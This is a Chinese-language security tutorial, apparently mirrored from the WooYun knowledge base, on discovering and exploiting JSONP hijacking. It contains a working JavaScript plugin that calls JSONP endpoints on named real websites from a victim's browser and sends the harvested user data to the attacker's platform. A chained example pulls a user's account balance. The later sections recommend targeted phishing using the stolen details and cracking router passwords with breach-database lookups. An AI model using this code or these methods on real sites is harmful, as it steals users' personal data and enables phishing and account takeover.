JSONP挖掘與高階利用

wyzsk發表於2020-08-19
作者: 蟻逅 · 2015/06/18 15:51

本文僅提供給愛好者學習交流,切勿用於其他非法用途

0x00 參考資料


  1. 利用JSONP進行水坑攻擊 - 烏雲知識庫
  2. JSONP 安全攻防技術 - 知道創宇

0x01 漏洞之我見


這裡不多說JSONP的介紹等,大家都懂。

這裡,我站在程式設計師的角度去解釋JSONP的正常使用。
首先,定義一個用於接收資料的回撥函式,比如:

function myData(data) {
    console.log('[!] DATA: ', data);
}

然後呢,我們就採用<script>標籤去跨域獲取資料:

<script src="http://root.cool/userinfo?fn=myData"></script>

當獲取完如上url的內容後,會自動解釋成js程式碼執行。由此來看,以上url訪問輸出的結果類似如下:

myData([{nickname: 'ANT', weibo: 'http://weibo.com/antoor'}])

其實就是執行了我們剛剛定義的myData函式並把需要的資料當作引數傳入了進去而已。
這樣,我們就能理所當然地在myData函式中就獲取到了我們所需要的資料。

然後,我們站在攻擊者的角度去想,如何最大化利用這個給程式設計師帶來的方便的同時所帶來的安全隱患

0x02 測試與構思


這個漏洞和xss結合是非常完美的一種攻擊手段,而這個功能,在蟻逅平臺中的蟻彈超人早已經很容易地得到實現。 我們還是和程式設計師一樣,先定義一個用來接收資料的函式,然後把我們挖掘到的JSONP介面進行逐個測試獲取資訊並返回,這樣,就達到了我們獲取目標資訊的手段。
用蟻彈超人中的JSONP探測外掛的服務端程式碼來解釋(已經去掉一些不好的介面):

#!javascript
(function(API, AUTOSTART) {
    var JSONP = {
        hooks: [{
            name: '人人網1',
            link: 'http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2&callback='
        }, {
            name: '人人網2',
            link: 'http://passport.game.renren.com/user/info?callback='
        }, {
            name: '網易163',
            link: 'http://comment.money.163.com/reply/check.jsp?time=1367240961474&callback='
        }, {
            name: '天涯論壇1',
            link: 'http://passport.tianya.cn/online/checkuseronline.jsp?callback='
        }, {
            name: '噹噹網',
            link: 'http://message.dangdang.com/api/msg_detail.php?customer_id=o4P00TweebicwjhS72NWew%3D%3D&data_type=jsonp&pageindex=1&module=1&pagesize=10&_=1416721945308&callback='
        }],
        start: function() {
            var self = this,
                inter = setInterval(function() {
                    if (!self.hooks[0]) {
                        clearInterval(inter);
                        return self.end();
                    }
                    self.get(self.hooks[0].link, self.hooks[0].name);
                    self.hooks.shift();
                }, 1000);
        },
        get: function(link, name, fn) {
            var hash = 'bomb' + String(new Date().getTime());
            window[hash] = function(data) {
                var _data = typeof(data) === 'object' ? JSON.stringify(data) : String(data);
                API.ss('### ' + name + '\n```\n' + _data + '\n```\n');
            };
            API.loadJS(link + hash);
        },
        end: function() {
            API.send('end');
        }
    };
    API.listen(function(act) {
        if (act === 'start') {
            JSONP.start();
        }
    });
    AUTOSTART ? JSONP.start() : null;
})

這段程式碼是很容易理解的,我們首先定義一個JSONP介面列表,然後透過start方法進行逐個介面的訪問以及資料獲取,最後直接進行資料返回以及儲存,就這麼簡單。

0x03 漏洞挖掘


一個好的工具是需要很多資源的支撐。

說了這麼多,那我們如何去挖掘JSONP介面呢?

1. 手動挖掘

手動挖掘有利於深入學習原理以及發揮更多的不可能。

這裡我採用chrome瀏覽器的除錯視窗進行挖掘weibo.com中存在的漏洞。

首先把Preserve log選項勾上,這樣用來防止頁面重新整理跳轉的時候訪問記錄被重置,也方便我們進行下一步的篩選。

然後,我們就可以在位址列輸入weibo.com,進行登入,然後在頁面中隨便點選連結了,這樣做是為了收集更多的URL,你懂的!

感覺差不多了的時候,我們Ctrl+F進行搜尋篩選,搜尋關鍵字是一個絕活,你可以站在程式設計師的角度去想,寫這個介面的規範一般是在服務端接收callback引數。
所以我們可以搜尋callback關鍵字:

站在攻擊者的角度去想,還可以搜尋.json關鍵字,或者其他你覺得可能出現問題的任何字元:

2. 搜尋挖掘

上面的挖掘方法有點蠢,不過也是獲取最準確以及最新資料的最有效方法。如果你是個懶人,那麼搜尋挖掘可能更適合。

根據上面的關鍵字,我們直接帶入搜尋引擎:

3. 工具挖掘

如果搜尋引擎無法提供最新的資料,你又不想手動一個個傻乎乎地去挖掘,那麼,用你熟悉的指令碼快速的編寫一個工具也是極好的。

這裡就不多說如何編寫了,只提供一下思路:

  1. 用指令碼爬取目標站點收集url以及headers等資訊
  2. 透過url中是否存在callback等關鍵字以及headers中的Content-Type進行模糊過濾
  3. 對模糊判斷過濾的結果內容進行更準確地判斷,比如判斷內容中是否含有callback引數關鍵字以及模擬沙盒執行等等

0x04 漏洞高階利用


那麼,你覺得JSONP僅僅是用來獲取使用者資訊的嗎?

1. 定位釣魚

透過JSONP獲取的資料來判斷當前個人的資訊,如郵箱、部落格、微博等再進行針對性地釣魚。

這樣,你可以利用獲取到的資訊降低被攻擊者的防範意識。
比如你彈框請輸入您的登入密碼可能會讓使用者產生懷疑,但是你要是這麼寫:親愛的YD,請輸入您的登入密碼,那成功率會不會更大了呢?

2. 二次結合

在對一個購物網站進行挖掘的過程中,發現有的介面必須先知道使用者的資訊才能進一步獲取我們需要的資料,那麼,就得采用二次結合的方法來進行利用了。
假設,我們挖掘到了兩個jsonp介面:

1. http://root.cool/userinfo?callback=test
2. http://root.cool/usercoin?nickname=ANT&callback=xxxx

而我們要獲取的是第二個介面的資料,但是第二個介面必須知道nickname引數,而nickname引數可以在第一個介面中獲取,那好辦:

#!javascript
function fn1(data) {
    API.loadJS('http://root.cool/usercoin?nickname=' + data.nickname + '&callback=fn2');
}
function fn2(data) {
    console.log('[!] 使用者餘額為:', data);
}
API.loadJS('http://root.cool/userinfo?callback=fn1');

很好理解吧!

3. 密碼猜解攻擊

這個比較好玩,假設我們需要利用xss攻破目標的路由,但是弱口令嘗試失敗,那麼,我們就可以透過獲取到的JSONP資料資訊進行密碼的組合、搜尋。
比如獲取到微博antoor,那可以組合出antoor123antoor123456等密碼,也可以透過獲取到的郵箱、QQ等進行線上"資料洩漏查詢"介面進行密碼查詢返回,然後下一步你懂的!

這裡說一下資料洩漏查詢,也就是"社工庫"的介面設計,我們要進行跨域查詢,可以選擇JSONP的方式,也可以透過設定headers中的Access-Control-Allow-Origin*進行跨域允許。

給個PHP程式碼例子(摘自蟻逅PHP執行環境指令碼):

#!php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: X-Requested-With,X_Requested_With');

0x05 後記雜語


最近看到關於JSONP攻擊的方法又火了起來,趁著興頭把自己的一點見解分享給大家。
有不好,請指導,有技巧,歡迎探討!

聯絡我:微博@蟻逅

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章